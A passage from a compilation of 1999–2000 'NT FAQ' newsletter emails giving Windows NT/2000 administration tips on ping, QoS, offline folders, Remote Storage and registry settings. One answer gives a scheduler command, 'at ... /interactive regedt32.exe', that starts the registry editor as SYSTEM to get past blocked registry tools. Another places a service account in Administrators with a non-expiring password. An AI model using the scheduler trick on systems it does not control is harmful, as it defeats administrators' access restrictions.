Reply from 160.82.52.11: bytes=32 time=10ms TTL=252
Reply from 160.82.52.11: bytes=32 time<10ms TTL=252
Reply from 160.82.52.11: bytes=32 time<10ms TTL=252
Reply from 160.82.52.11: bytes=32 time<10ms TTL=252

From the above you can see it send 32 bytes to host 160.82.52.11 and each
time a reply was received in 10ms or less, this shows a good connection.

PING does have a number of option parameters to accomplish different
objectives.

ping [-t] [-a] [-n count] [-l size] [-f] [-i TTL] [-v TOS] [-r count] [-s
count] [[-j host-list] | [-k host-list]] [-w timeout] destination-list

-t  Ping the specifed host until interrupted.
-a  Resolve addresses to hostnames.
-n count Number of echo requests to send.
-l size Send buffer size.
-f Set Don't Fragment flag in packet.
-i TTL Time To Live.
-v TOS Type Of Service.
-r count Record route for count hops.
-s count Timestamp for count hops.
-j host-list Loose source route along host-list.
-k host-list Strict source route along host-list.
-w timeout Timeout in milliseconds to wait for each reply.

In Windows 2000 you can press Ctrl-Break when running the -t option for a
list of statisitics. Press Ctrl-C to actually stop the ping.

It can be useful to have a small batch file ping various hosts and terminal
servers at regular intervals to ensure all are still present (although
there
are commercial software packages that do this). A simple command like:

C:\>ping -f -n 1 -l 1 148.32.43.23

Pinging 148.32.43.23 with 1 bytes of data:

Reply from 148.32.43.23: bytes=1 time<10ms TTL=128

pings a host once with one byte of data.

You should be aware that PING works by sending ICMP echo packets and some
routers etc may filter these out meaning a PING will not work.

----------------------------------------

Till next week,

Regards,

John

=======================================================================
The NT Frequently Asked Questions List Created by John Savill

NT FAQ List delivery provided by ED-COM
For you specialized Internet needs, http://www.ed-com.com

To unsubscribe from this list send a message to
mailto:nt-faq@ed-com.com  with the word unsubscribe in the body
Problems with subscription? mailto:ewoodrick@ed-com.com
=======================================================================


From: John Savill [john@savilltech.com] Sent: 08 November 1999 19:55 To: NTFAQ Mailing List Subject: NT FAQ, 8 November 1999 All information in this mail message is Copyright John Savill and may not be reproduced nor distributed without written permission from the author. http://www.ntfaq.com/terms.html News: Nothing to report this week. New additions last week: Q. When loading a program, I get the error message "RASMAN.DLL failed to load". Q. How do I enable FTP resume? Q. The SUBST command is not working correctly in Windows 2000. Q. What do I create a Mount point from the command line? Q. How can I disable APIPA? Q. What are offline folders? Q. How do I set a folder as available/not available offline? Q. How do I configure a shared folder as automatically available offline? Q. How do I enable my computer to support offline folders/files? Q. What are the printer improvements in SP6 for NT 4.0? Q. What is quality of server (QOS)? Q. How do I install QOS support in Windows 2000? Q. How do I configure QOS in Windows 2000? Q. How can I change the account used for the QOS service? ------------------------------------------------------- Q. When loading a program, I get the error message "RASMAN.DLL failed to load". A. This can happen if you have uninstalled RAS. The official way to detect whether RAS is installed or not is to check for a certain file. Unfortunately that file doesn't get deleted when RAS is uninstalled, so the program thinks that RAS is still installed. If you delete the WINNT\SYSTEM32\RASAPI32.DLL file manually, the program will realize that RAS has been uninstalled and it will not try to initialize RASMAN.DLL -------------------------------------------------------------------------------- Q. How do I enable FTP resume? A. IIS 5.0, the version that ships with Windows 2000 has a number of enhancements. One of which is the FTP resume mode which if a download is halted and you disconnect, upon reconnecting you will be asked if you wish to resume the download. This is very useful for downloads of large files. This functionality does not work using the command level FTP provided with Windows NT 4.0, however software packages such as WS_FTP Pro from www.ipswitch.com allow this. FTP Resume is turned on by default in Windows 2000 but as far as I know it is not possible in IIS 4.0 or lower. -------------------------------------------------------------------------------- Q. The SUBST command is not working correctly in Windows 2000. A. A bug exists in Windows 2000 which will not be fixed before its Release To Manufacturing. Normally you can subst a drive letter for a folder, be it local or remote. If you subst a drive letter for a remote folder, e.g.: C:\> subst h: \\titanic\home\savillj When you try and access H: you get error: The filename, directory name, or volume label syntax is incorrect. To work around the problem use net use instead, e.g. C:\> net use h: \\titanic\home\savillj A knowledge base article Q218740 will be available for this (but its not out yet). -------------------------------------------------------------------------------- Q. What do I create a Mount point from the command line? A. In line with Microsoft's goal of everything being possible from the command line, Windows 2000 has a utility MOUNTVOL.EXE which can be used to create mount points from the command prompt. Typing MOUNTVOL on its own will list all available volumes that can be mounted: C:\>mountvol Creates, deletes, or lists a volume mount point. MOUNTVOL [drive:]path VolumeName MOUNTVOL [drive:]path /D MOUNTVOL [drive:]path /L path Specifies the existing NTFS directory where the mount point will reside. VolumeName Specifies the volume name that is the target of the mount point. /D Removes the volume mount point from the specified directory. /L Lists the mounted volume name for the specified directory. Possible values for VolumeName along with current mount points are: \\?\Volume{123504dc-643c-11d3-843d-806d6172696f}\ C:\ \\?\Volume{123504dd-643c-11d3-843d-806d6172696f}\ *** NO MOUNT POINTS *** \\?\Volume{123504db-643c-11d3-843d-806d6172696f}\ D:\ \\?\Volume{123504da-643c-11d3-843d-806d6172696f}\ A:\ To create a mount point manually create a new directory, then create the mount point using the volume ID listed from the MOUNTVOL command, e.g.: Create a CD directory C:\> md CD Create a mount point to the CD-ROM drive C:\> mountvol CD \\?\Volume{123504db-643c-11d3-843d-806d6172696f}\ That's it! -------------------------------------------------------------------------------- Q. How can I disable APIPA? A. APIPA (Automatic Private IP Addressing) was discussed in 'Q. My Windows 2000 DHCP client has an IP address not in any scopes, how?' and is the mechanism in a small network that clients will automatically allocated themselves and IP address in the range of 169.254.x.x if no DHCP server can be contacted. It may be desirable to disabled this and to do this perform the following: Start the registry editor (Regedit.exe) Move to HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\Interfaces Select the required interface From the Edit menu select New - DWORD value Enter a name of IPAutoconfigurationEnabled and press Enter Double click the new value and set to 0. Click OK Close the registry editor If you have multiple adapters and wish to disable for all just create and set HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\IPAutoconfigurationEnabled to 0. -------------------------------------------------------------------------------- Q. What are offline folders? A. Windows 2000 introduces the concept of offline folders and is basically just a locally cached version of a network file or folder. The contents of the locally cached version are synchronized with the network version to assure no changed to files are lost and the access permissions are the same as those as if you were connected, this does not bypass any ACL's. When the status of your connection changes, an Offline Files icon appears in the status area, and an informational balloon is displayed over the status area to notify you of the change. Any shared files or folders on a Microsoft network can be made available offline. You can make files available offline from any computer that supports Server Message Block-based (SMB) File and Printer Sharing, including Windows 95, Windows 98, and Windows NT 4.0. Offline Files is not available on Novell NetWare networks. -------------------------------------------------------------------------------- Q. How do I set a folder as available/not available offline? A. To make a file or folder available when offline just right click on the file/folder and select 'Make Available Offline' and a wizard will be started: Click Next to the welcome screen Check the 'Automatically synchronize the Offline Files when I log on and log off my computer' (this will slow logon/logoff slightly). Click Next The 'Enable reminders' will be selected by default which will produce little "reminder" bubbles when you are not connected. Click Finish If you are selecting a folder and it has subfolders after clicking Finish you will be asked if you want the subfolders and content also available. A file copy will then take place to create the cached version To make a file/folder not available just right click on it and unselect the 'Make Available Offline'. If you are using a folder that is currently not available when the share becomes available again just right click on the folder/file and select 'Synchronize', this will sync the content and make online again. -------------------------------------------------------------------------------- Q. How do I configure a shared folder as automatically available offline? A. Its possible to configure a folder to be automatically configured as available offline to the clients when it as shared by performing the following: Start Explorer Right click on the shared folder Select Sharing from the context menu Click the 'Caching' button Select the type of caching: - Automatic Caching for Documents - Automatic Caching for Programs - Manual Caching for Documents Click OK Click OK to the main share Clients connecting to the share (Windows 2000 clients) will automatically cache any opened files, i.e. the entire content will NOT be cached, only files/programs that are opened from the share. If the share is then unavailable only the files that have previously been opened will be listed and can be opened. When the share goes offline you will get the standard notification that is is no longer available online and you will use the offline version. -------------------------------------------------------------------------------- Q. How do I enable my computer to support offline folders/files? A. By default Windows 2000 Professional installations have offline folder/files enabled, Windows 2000 Server installations have it disabled. To enable/disable perform the following: Start Explorer From the Tools menu select 'Folder Options' Select the 'Offline Files' tab Make the required changes such as checking the 'Enable Offline Files' box. The 'Synchronize all offline files before logging off' forces a resync before logoff but does slow down logoff. Click Apply then OK -------------------------------------------------------------------------------- Q. What are the printer improvements in SP6 for NT 4.0? A. Knowledge base article Q242035 outlines changes in SP6 to printing which are outlined below. The following problems have been addressed: A print job hanging on a printer in a printer pool should resume after the error condition has been resolved. A print job should not be sent to a printer from a printer pool if the printer is not available (unless its a low toner error) If the print job is not printed within a configurable amount of time, the spooler should be able to redirect the job to the next available printer in the pool. Two registry values have been created under the following registry key: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Print\Providers These values can only be configured per server: RestartJobOnPoolError (REG_DWORD) - configures the time (in seconds) after which a job in the pool should be restarted if the port is in an error state and the error condition has not been resolved. RestartJobOnPoolEnabled (REG_DWORD) - Any value greater than zero enables this behavior, 0 disables it. -------------------------------------------------------------------------------- Q. What is quality of server (QOS)? A. Quality of Service was first implemented in the 1970’s over the X.25 network which had limited Quality of Service built into it allowing differentiation between various X.25 data streams providing priority transmission for those packets deemed to be a priority. Other technologies since then have had Quality of Service abilities including the newest technologies such as ATM (Asynchronous Transfer Mode) Quality of Service at present is not for use over the Internet as it requires end-to-end support, however it has come on from its primarily Wide Area Network (WAN) usage to now be used over the whole network, mainly due to the extended use of networks such as voice of IP etc. This is not to say QOS will not operate over the Internet, in the future it will be important the Internet is just not ready yet. Quality of Server is an end-to-end concept, every box, router, bridge must support QOS, but what does it do? Basically you reserve an amount of bandwidth on the network hence the need for it to be end, imagine if a router in the middle of the network did not support QOS, from your computer to the router would reserve an amount of bandwidth, suppose the target computer up to the router supported QOS you would have a reserved pipe but if the router did not support QOS and reserved no bandwidth it would all have been wasted, every component HAS to support QOS for it to work. There is a second kind of QOS, one where bandwidth is not reserved but is given priority over other traffic, this is known as differentiated service. For Quality of Server to work on a network two things are required, the first is the reservation of resources, in this case bandwidth, on each component between the two ends of the link. This is done using the Resource Reservation Protocol or RSVP as its known. The second is for the actual data to receive the bandwidth reserved and while this sounds simple and it can be complicated in the real world. Winsock 2.0 that is the windows sockets implementation provides full QOS support however until now there has never been a method to implement, with Windows 2000 applications can now have full Quality of Service support. For more information also see: http://www.microsoft.com/windows/server/Technical/networking/QoSOver.asp which has some good information http://www.microsoft.com/windows/server/Technical/networking/enablingQOS.asp which talks about enabling applications to use QoS http://support.microsoft.com/support/kb/articles/Q233/0/39.ASP a knowledge base article on using QoS queuing techniques http://support.microsoft.com/support/kb/articles/Q228/8/30.ASP talks about SBM (Subnet Bandwidth Manager) used for QoS http://msdn.microsoft.com/library/backgrnd/html/msdn_qostech.htm MSDN QoS document -------------------------------------------------------------------------------- Q. How do I install QOS support in Windows 2000? A. There are two parts to getting QOS support in Windows 2000 as outlined below. The first component we have to install to implement QOS is the packet scheduler and this is installed as follows: Right click on “Local Area Network” under Network and Dial-Up connections control panel applet Click the install button Select Service and click Add Select “QoS Packet Scheduler” and click OK QoS will now be listed as an installed service. Click Close One thing to bear in mind that although a reboot of the machine is not required after installing the QoS service, it does reset all TCP/IP connections so make sure you are not doing anything important when installing the packet scheduler. The next item is to actually install the QOS Admission Control Server (ACS) as follows: Start the Add/Remove Software control panel applet (Start – Settings – Control Panel – Add/Remove Software) Select ‘Add/Remove Windows Components’ Select ‘Network Services’ and click Details Select ‘QoS Admission Control Service’ and click OK Click Next to the main component dialog A list of files to copy will be generated and the software installed Click Finish The QoS packet scheduler is available on both Professional and Server Windows 2000 systems however the Access Control Service is only an option on Server. The QoS packet scheduler HAS to be installed on ALL clients that will be participating in QoS. After installing the QoS ACS a new item will be added to the Administrative menu, the ‘QoS Admission Control’ MMC snap-in. -------------------------------------------------------------------------------- Q. How do I configure QOS in Windows 2000? A. Installing QOS support is easy, the next task is to administer QOS, telling which users can reserve how much bandwidth etc. Policies are defined using the QoS Admission Control MMC snap-in (Start – Programs – Administrative Tools – QoS Admission Control) and there are two areas policies can be defined for, the entire enterprise or for individual subnets and these subnets are defined using the Active Directory Sites and Services MMC snap-in. Within the various Enterprise or subnet configurations are two types of policies, Authenticated and Un-Authenticated users. An authenticated user is any user in a trusted domain and is requesting QoS from a Windows 2000 client; the later is anyone not fitting the former description. It is possible to add policies for a specific user or Organizational Unit also. The actual configuration of the QoS policy is the same for Enterprise or a subnet and so we will just look at the configuration of a single policy. Start the QoS Admission Control MMC Select the ‘Enterprise Settings’ branch Right click on ‘Any Authenticated User’ and select Properties Under the General property sheet you will notice ‘Any authenticated user’ is selected for the Identity. The direction is send and receive and you will see the Service level is All, other options for the service level are controller load, guaranteed service and disabled. Selecting the ‘Flow limits’ tab allows the data rate (by default 500 Kbits/sec), the peak data rate and the duration to be set for each data flow The final tab, ‘Aggregate limits’ sets limits for ALL data flows combined and includes total combined data rate, combined peak data rate and number of simultaneous data flows -------------------------------------------------------------------------------- Q. How can I change the account used for the QOS service? A. By default the QoS service will run under the System account however you may prefer to create a special account for it and modify the service to use it: Create a new account called “ACSService” (ACS for Access Control Service) and add it to the local Administrators group. When adding ensure you set the option “password never expires” and unselect the option “user much change password at next logon” Start the Computer Management MMC snap-in (Start – Programs – Administrative Tools – Computer Management) Select the ‘Services and Applications’ branch Select Services Right click on ‘QoS Admission Control’ and select Properties Select the ‘Log On’ tab Select the ‘This account’ option and select the ACSService account, enter its password Click Apply then OK (when clicking Apply the account will be granted the ‘Log On As A Service’ right) -------------------------------------------------------------------------------- Standard items: The NT FAQ book can be purchased via Amazon.com. http://www.amazon.com/exec/obidos/ASIN/0201606364/windowsntfaq Code to include the FAQ Search engine on your site: --------
Search the FAQ: tips for searching

Use Free-Text Query.

-------- Results will be displayed hyperlinked to answers in the NT FAQ. Put in a window and your visitors will be unaware they have left your site. As normal please post any questions/comments to the Windows FAQ Forum, http://www.ntfaq.com/cgi-bin/Ultimate.cgi ---------------- John


From: John Savill [john@savilltech.com] Sent: 09 August 1999 15:43 To: NTFAQ Mailing List Subject: NT FAQ, 9 August 1999 All information in this mail message is Copyright John Savill and may not be reproduced nor distributed without written permission from the author. http://www.ntfaq.com/terms.html News: I get married this Saturday and will be off to Disney World Florida for my honeymoon so there won't be any mailings for the next two weeks (or updates to the FAQ as my new wife would likely kill me) :-) When I get back I'll put in extra work to catch up ;-) A new weekly newsletter I'm writing for PC World is now out. Its in-depth articles about various subjects on Windows NT and Windows 2000. You have to pay an annual fee but its not to much. Take a look, first ones free anyway, http://www.tipworld.com/premium/s_o/. A new Chinese translation of the FAQ is starting at http://www.ntfaq.com.cn. If you speak Chinese it may help. Standard items: The NT FAQ book can be purchased via Amazon.com. http://www.amazon.com/exec/obidos/ASIN/0201606364/windowsntfaq Code to include the FAQ Search engine on your site: --------
Search the FAQ: tips for searching

Use Free-Text Query.

-------- Results will be displayed hyperlinked to answers in the NT FAQ. Put in a window and your visitors will be unaware they have left your site. As normal please post any questions/comments to the Windows FAQ Forum, http://www.ntfaq.com/cgi-bin/Ultimate.cgi New additions last week: Q. How can I limit the number of recipients for a message? Q. Access to the registry tools has been stopped, is there any way to get access? Q. I get an error after installing IE 4.0 SP2 on a Terminal Server. Q. How can I avoid having to click 'Show Files' in 2000's Explorer all the time? Q. How can I force a Windows 2000 domain controller to re-register its DNS entries? Q. I get error 'Program will not fit in memory', what's the cause? Q. Where is Setup Manager in Windows 2000? Q. How can I check who last opened a file? Q. How can I extract files from a CAB file? Q. Where is USRMGR.EXE in NT Workstation? ---------------------------------------------------------- Q. Where does Windows 2000 store the last key accessed? Q. How can I limit the number of recipients for a message? A. Using a new registry entry that was added as of 4.0 Service Pack 1 you can set the number of recipients for a message which is the sum of To:, cc: and bcc: (this includes personal distribution lists). To implement perform the following: 1, Logon to the Exchange Server 2, Start the registry editor (regedit.exe) 3, Move to HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\MSExchangeIS\ParametersSystem 4, From the Edit menu select New - DWORD value 5, Enter a name of 'Max Recipients on Submit' (don't type the quotes) and press Enter 6, Double click the new value and set to the max number. Click OK 7, Close the registry editor If a user attempts to send a message to more recipients than is designated by the Max Recipients on Submit parameter and the user has the new Emsmdb(32).dll, the following error message may be displayed when the user attempts to send the message: The item could not be sent. The number of recipients on this message exceeds the upper limit configured by the administrator. If a user attempts to send a message to more recipients than is designated by the Max Recipients on Submit parameter and the user DOES NOT have the new Emsmdb(32).dll, the following error message may be displayed when the user attempts to send the message: The item could not be sent. The client operation failed. More information can be found in Knowledge Base article Q126497 at http://support.microsoft.com/support/kb/articles/q126/4/97.asp. -------------------------------------------------------------------------------- Q. Access to the registry tools has been stopped, is there any way to get access? A. I include this as I had the exact problem on site a couple of days ago and I want Administrators to be aware that this can be done. If the scheduler service is running on your PC (or if you can start it) you can submit the registry editor to start via the scheduler and it will then be started under the system context. For example C:\> at <1 minute in the future> /interactive regedt32.exe One minute from submission regedt32.exe will be started giving you full access to the registry. Cool! -------------------------------------------------------------------------------- Q. I get an error after installing IE 4.0 SP2 on a Terminal Server. A. After you apply Windows NT 4.0 Service Pack 4 Terminal Server Edition on a Terminal Server and install Microsoft Internet Explorer 4.01 Service Pack 2, a user may receive the following error message when logging on for the first time: Advanced INF install. INF install failure. Reason: Access is denied. Also in the Personalized Settings box in the upper left corner of the screen may contain the following message: Setting up personalized settings for: Microsoft FrontPage Express After the user clicks OK to continue, the personalized settings process continues and the user's desktop is displayed. To resolve perform the following: 1, Start Windows NT Explorer and locate the %systemroot% folder (normally wtsrv) 2, Right-click the Fpxpress.ini file, and then click Properties 3, On the Security tab, click Permissions 4, Click the Everyone group 5, In the Type of Access area, click 'Change' 6, Click OK 7, Close Explorer -------------------------------------------------------------------------------- Q. How can I avoid having to click 'Show Files' in 2000's Explorer all the time? A. In Windows 2000 certain directories content is automatically hidden (such as the %systemroot%, system32 etc folder) to avoid the user accidentally corrupting the system. In order to see the files you have to click the 'Show Files' text. If you know what you are doing this can get annoying quickly and you can disable this as follows: 1, Start Explorer (Win + E or right click My Computer and select Explore) 2, From the Tools menu select Folder Options 3, On the View tab select 'Show hidden files and folders'. Click OK 4, Move to the %systemroot% directory (e.g. c:\winnt) 5, Click 'Show Files' 6, Rename the Desktop.ini file to something else, e.g. Desktopbak.ini 7, Repeat for any other folders such as %systemroot%\system32 and 'program files' -------------------------------------------------------------------------------- Q. How can I force a Windows 2000 domain controller to re-register its DNS entries? A. To re-register the domain controller DNS entries perform one of the following: Stopping & start the netlogon service which will reregister all SRV records in the netlogon.dns file. Netdiag /fix will also do this. Ipconfig /registerdns -------------------------------------------------------------------------------- Q. I get error 'Program will not fit in memory', what's the cause? A. Its not caused by a lack of memory but is normally caused by a program not being downloaded correctly (an .exe) and is subsequently corrupt. Download the file again checking you are in image (binary) mode when downloading. -------------------------------------------------------------------------------- Q. Where is Setup Manager in Windows 2000? A. Windows 2000's includes Setup Manager which can be used to create distribution scripts for various types of installation including: Windows 2000 Professional Unattended installation Windows 2000 Server Unattended installation Remote Installation Services Sysprep installation The tool is shipped with the Resource Kit and is contained in the deploy.cab as setupmgr.exe and can be extracted using a utility such as WINZIP. It is self contained and does not require installation, you can just run the image which will then start a wizard which allows you to specify the information you require. ----------------------------------------------------------------------------------- Q. How can I check who last opened a file? A. The only way I know of would be to enable auditing on the file and then examine the Security Event log for access. In order to do this you will need the following: 1, Enable auditing for files and folders via User Manager (Policies - Audit - Audit These Events - File and Object Access). In Windows 2000 use the Group Policy editor and edit the local policy or another GPO (Computer Configuration - Windows Settings - Security Settings - Local Policies - Audit Policy) 2, Start Explorer 3, Right click on the files/folders select Properties 4, Select the Security tab 5, Click the Advanced button 6, Select the Audit tab 7, Click Add 8, Select 'Everyone' 9, Click OK 10, Select the actions to audit such as 'List folder/read data' 11, Click OK 12, Click OK to all dialogs -------------------------------------------------------------------------------- Q. Where does Windows 2000 store the last key accessed? A. In Windows 2000 when you start the registry editor it remembers where you last were and automatically reopens that key. This information is actually stored in the registry in location: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Applets\Regedit\LastKey If this annoys you, it could be reset at each logon to null via a script with a .reg file, e.g. Windows Registry Editor Version 5.00 [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Applets\Regedit] "LastKey"="" -------------------------------------------------------------------------------- Q. How can I extract files from a CAB file? A. The new method of packaging files is to store them in a CAB file, what is a non-proprietary format based on Lempel-Ziv compression. Both DriveSpace and DoubleSpace also used Lempel Ziv based compression algorithms. A common way of extracting files is to use a tool such as WinZIP which supports extraction of CAB files but new to the Windows NT Resource Kit is Extract.exe (as of supplement 4) which can also extract files from a CAB file. -------------------------------------------------------------------------------- Q. Where is USRMGR.EXE in NT Workstation? A. Windows NT Workstation does have a User Manager tool use for managing local machine users and groups however its not the same tool that is used on domain controllers. The User Manager that workstations use is called MUSRMGR.EXE however you could copy over USRMGR.EXE from a domain controller to enable domain user/group management from a workstation. -------------------------------------------------------------------------------- See you in three weeks, woo hooo!!!!!!! John


From: John Savill [john@savilltech.com] Sent: 09 February 2000 19:40 To: NTFAQ Mailing List Subject: ** NT FAQ, 9th Feb 2000 ** All information in this mail message is Copyright John Savill and may not be reproduced nor distributed without written permission from the author. http://www.ntfaq.com/terms.html News: The Windows NT/2000 FAQ forum will be down for about two weeks due to problems with PERL running under Windows NT/2000. Over the last few months the discussion area has become more popular but due to its PERL nature it has slowly been using more and more resources and now during peak times its actually crashing the shared server while the rest of the time its just very slow. This is obviously not good for my site or the sites who are also on my server. I have just ordered my own, stand-alone server which will have a dedicated 1Mb/s connection (I currently share that bandwidth and spec server with 8 other sites!). It should be ready in about two weeks and once I have moved I will bring back the discussion area WITH the search facilities enabled again as processor usage should not be such an issue with the other 8 sites no longer running on the same server as mine. Yes this costs a lot more but the advertising covers it :-) and the extra performance will be worth it. I'll keep you all updated! New additions last week: Q. The "Data in Remote Storage" indicator is not correct, what can I do? Q. How do I install the Remote Storage subsystem? Q. How do I configure the Remote Storage subsystem? Q. How can I print from the command window/use lpt1 etc? Q. How do I force a Remote Storage scan? Q. How can I tell which files have been moved to remote storage? Q. How can I disable remote storage for a volume? Q. What is the Remote Storage System (RSS)? Q. How can I change the screen tip for a shortcut? ----------------------------------------------------- Q. The "Data in Remote Storage" indicator is not correct, what can I do? A. Windows 2000 has built-in support for removable media however over time the amount of data it thinks is offline can become inaccurate. It basically allows you to store data that is infrequently used to magnetic tape but still accessible. This happens because a Validate Files job is not run every time files are migrated to off-line storage. When files are migrated to off-line storage, the "Data in Remote Storage" value is increased to reflect the correct amount. However, when files in off-line storage are deleted from the volume, this value is not decremented. To fix this problem you can force a Validate Files job to run: Start the Remote Storage Administrators Snap-in, and then select Managed Volumes. Right-click the RSS-managed volume you want to run the Validate Files job on. On the context menu, point to All Tasks, and then click "Validate files". You will receive notification that Remote Storage will create the task, and you can then view its progress using the Task Scheduler. Click OK. If you view the Remote Storage properties for the volume, the "Data In Remote Storage" value has been reset to 0, and is slowly increasing while files are being validated. -------------------------------------------------------------------------------- Q. How do I install the Remote Storage subsystem? A. Windows 2000 includes the Remote Storage subsystem which is used to copy the data in infrequently used files to remote storage media such as a tape while leaving a file place holder still on the disk, when accessed the data is fetched from the tape. It basically works by monitoring volumes and when space dips below a defined level files not accessed for a certain time are moved to a removable mdeia. The subsystem is supplied with all versions of Windows 2000 server but NOT professional. To install perform the following: Start the Add/Remove Software control panel applet (Start - Settings - Control Panel - Add/Remove Software) Select Add/Remove Windows Components Select 'Remote Storage' and click Next The files will be copied and you will have to reboot the server Once the reboot has completed a new 'Remote Storage' component will be added to Administrative Tools and a number of new services configured. -------------------------------------------------------------------------------- Q. How do I configure the Remote Storage subsystem? A. When run run the Remote Storage MMC snap-in (from the Administrative Tools folder) for the first time a configuration wizard will run the first time which you can use to configure the basics. Before running insure you have a 4mm/8mm dat or DLT drive or the setup will not continue. Click Next to the introduction It will check for the correct local rights and a media device that matches the required specification. If it fails but you have a DAT or DLT configured click on Remote Storage under the Removable Storage and ensure that it has a media pool of the required DAT/DLT type. A list of drives that you can use with Remote Storage are displayed. Select the volumes and click Next Next set the percentage that the free space must dip below before files are moved to remote storage and also file sizes and how long since they have been accessed. Click Next Select the media type you wish to have the files copied to, e.g. 4mm DDS. Click Next Next you can configure a schedule for which the check for files to be moved will be performed. Click the 'Change Schedule' button to modify from the default of everyday at 02:00. Click Next. A summary will be displayed. Click Finish The information will now be displayed under the 'Managed Volumes' branch and can be modified if required. A 'Remote Storage' tab will also be added to the disk properties from Explorer to enable easy configuration. You can add more managed volumes by right clicking on 'Managed Volumes' and selecting 'New - Managed Volume(s)...'. The wizard shown above will then run again. -------------------------------------------------------------------------------- Q. How can I print from the command window/use lpt1 etc? A. There are really two questions here. If you know a server and a printer share and you just need to print a file this can be done by copying to the print share, for example: C:\> copy readme.1st \\morpheus\HPLaserJ You may however need to actually use a device such as LPT1 and for this we can use the "net use" command. C:\> net use lpt1 \\10.129.210.71\HPLaserJ [/p:n] The /p:n makes the connection non-persistent. If this fails check lpt1 is not already in use: C:\> net use lpt1 Local name LPT1 Remote name \\10.129.210.71\HPLaserJ Resource type Print Status OK # Opens 0 # Connections 1 The command completed successfully. And if you want to delete the existing connection perform the following: C:\> net use lpt1 /d lpt1 was deleted successfully. You can then use lpt1: as if its a local port for command based programs. The Windows 2000 Resource Kit also supplies CON2PRT which can be used to connect to a printer, e.g. C:\> con2prt /c \\morpheus\HPLaserJ Connected to printer: \\morpheus\HPLaserJ Which actually adds the printer as a normal printer under Printers control panel applet. Using /cd sets it to the machines default printer. -------------------------------------------------------------------------------- Q. How do I force a Remote Storage scan? A. Normally the remote storage scan is scheduled to run once a day however you can force it to run if you want. Start the Remote Storage MMC (Start - Programs - Administrative Tools - Remote Storage) Select 'Managed Volumes' Right click on the volume and from the context menu select All Tasks -> Copy Files to Remote Storage Click OK to start the check It may take some time to run but you can monitor the progress using the Scheduled Tasks MMC snap-in (Start - Programs - Accessories - System Tools - Scheduled Tasks). When complete the task be removed from the list. -------------------------------------------------------------------------------- Q. How can I tell which files have been moved to remote storage? A. Files that have been moved to remote storage have a small clock icon on them which means they have been moved to remote storage. When you access the files it will be fetched from remote storage and a dialog will be displayed showing progress. From the command prompt you can tell as the file size is in a bracket, e.g. F:\NT FAQ Book>dir Volume in drive F is Archive Volume Serial Number is D44C-7669 Directory of F:\NT FAQ Book 30/06/1999 13:59 . 30/06/1999 13:59 .. 05/02/1999 16:58 1,618 2000only.tif 05/02/1999 16:57 1,758 4&5.tif 05/02/1999 16:58 1,638 40only.tif 04/01/1999 15:36 (281,088) appendixa.doc 04/01/1999 15:38 (310,272) appendixb.doc 09/02/1999 12:42 1,050,246 book cover.bmp 23/02/1999 15:47 (297,472) btoc.doc 04/01/1999 15:35 (279,552) dedication.doc -------------------------------------------------------------------------------- Q. How can I disable remote storage for a volume? A. If you decide you want to disable the use of remote storage and instead just want normal file storage you can disable using the following procedure. You must decide if you wish to copy back any files that have been stored on remote storage of leave them on tape. Start the Remote Storage MMC (Start - Programs - Administrative Tools - Remote Storage) Select 'Managed Volumes' Right click on the volume you wish to disable remote storage for and select "Remove" Click Next to the removal wizard Select if you wish to move files stored on remote storage back to the disk or leave them on tape but no new files will be moved. Select the recall option and click Next Click Yes to the confirmation Click Finish to the final wizard screen A red cross will be displayed next to the volume while the files are recalled from tape. Once the files are fully restored the volume will be removed from the window. -------------------------------------------------------------------------------- Q. What is the Remote Storage System (RSS)? A. The remote storage system is new to Windows 2000 and addresses the problem of limited disk space. Prices of hard disks has fallen recently however tape is still much cheaper at around $20 for 8GB than hard drive space but is obviously slower access. Windows 2000 introduces a hierarchical storage management facility (from Seagate Software) that allows an NTFS 5 volume to be expanded by moving less used files to tape while leaving a placeholder on the disk so users can still "see" the file. When the user tries to access one of these files that has been moved to tape it is restored from the tape and opened in a read-only mode. The process is almost invisible to the user, all the user sees is a small dialog informing them the file is being restored from tape. Remote Storage is also known as Hierarchical Storage Management (or HSM) as it allows two tiers of data storage, the first being the hard disk, the second the data moved to tape. The files original size will still be displayed however it will not be used when free space is calculated on the disk. Programs need to be remote storage aware, especially backup and anti-virus software or it may attempt to fetch files from remote storage causing long delays and also you may WANT files to be fetched from remote storage for full backups. The NTBACKUP software package supplied with Windows 2000 has full support for remote storage and can also backup files stored on remote storage if you require. Be especially careful of FindFast supplied with Office 97 and disable it! You must have local Administrator rights to configure Remote Storage and currently as off Windows 2000 first release have a 4mm/8mm dat or DLT drive. The volumes must also be NTFS 5.0. In the future media such as ZIP or JAZ may be supported but not at present. Also the dat/DLT drive should be on the HCL however I purchased a HP DAT8i for the test which is not on HCL but had no problems. I'm not encouraging you to use hardware not on the Windows 2000 HCL, I'm just saying if its a standard dat/DLT type it will probably be OK and worth a try. Non-dat/DLT media will NOT work, I tried a Travan drive which it refused to use. -------------------------------------------------------------------------------- Q. How can I change the screen tip for a shortcut? A. Windows 2000 introduces tips for shortcuts that are displayed when you pause the mouse over a shortcut be it on the desktop or in a start menu (or anywhere else). To change the shortcut tip perform the following: Right click on the shortcut Select Properties Modify the Comment Click Apply The new tip will now be displayed. ------------------------------------------------------------------------------ Standard items: The NT FAQ book can be purchased via Amazon.com. http://www.amazon.com/exec/obidos/ASIN/0201606364/windowsntfaq Code to include the FAQ Search engine on your site: --------
Search the FAQ: tips for searching

Use Free-Text Query.

-------- Results will be displayed hyperlinked to answers in the NT FAQ. Put in a window and your visitors will be unaware they have left your site. As normal please post any questions/comments to the Windows FAQ Forum, http://www.ntfaq.com/cgi-bin/Ultimate.cgi ---------------- Till next week, take care. John


From: John Savill [john@savilltech.com]
Sent: 09 June 1999 09:53
To: NTFAQ Mailing List
Subject: NT FAQ, 9 June 1999

All information in this mail message is Copyright John Savill and may not be reproduced nor distributed without written permission from the author. http://www.ntfaq.com/terms.html

News:

Nothing to report this week.

Standard items:

The NT FAQ book can now be reserved via Amazon.com and will be out in July. http://www.amazon.com/exec/obidos/ASIN/0201606364/windowsntfaq

Code to include the FAQ Search engine on your site:

--------
<FORM ACTION="http://www.ntfaq.com/ntsearch.cgi">
<INPUT TYPE="text" SIZE="30" NAME="data">
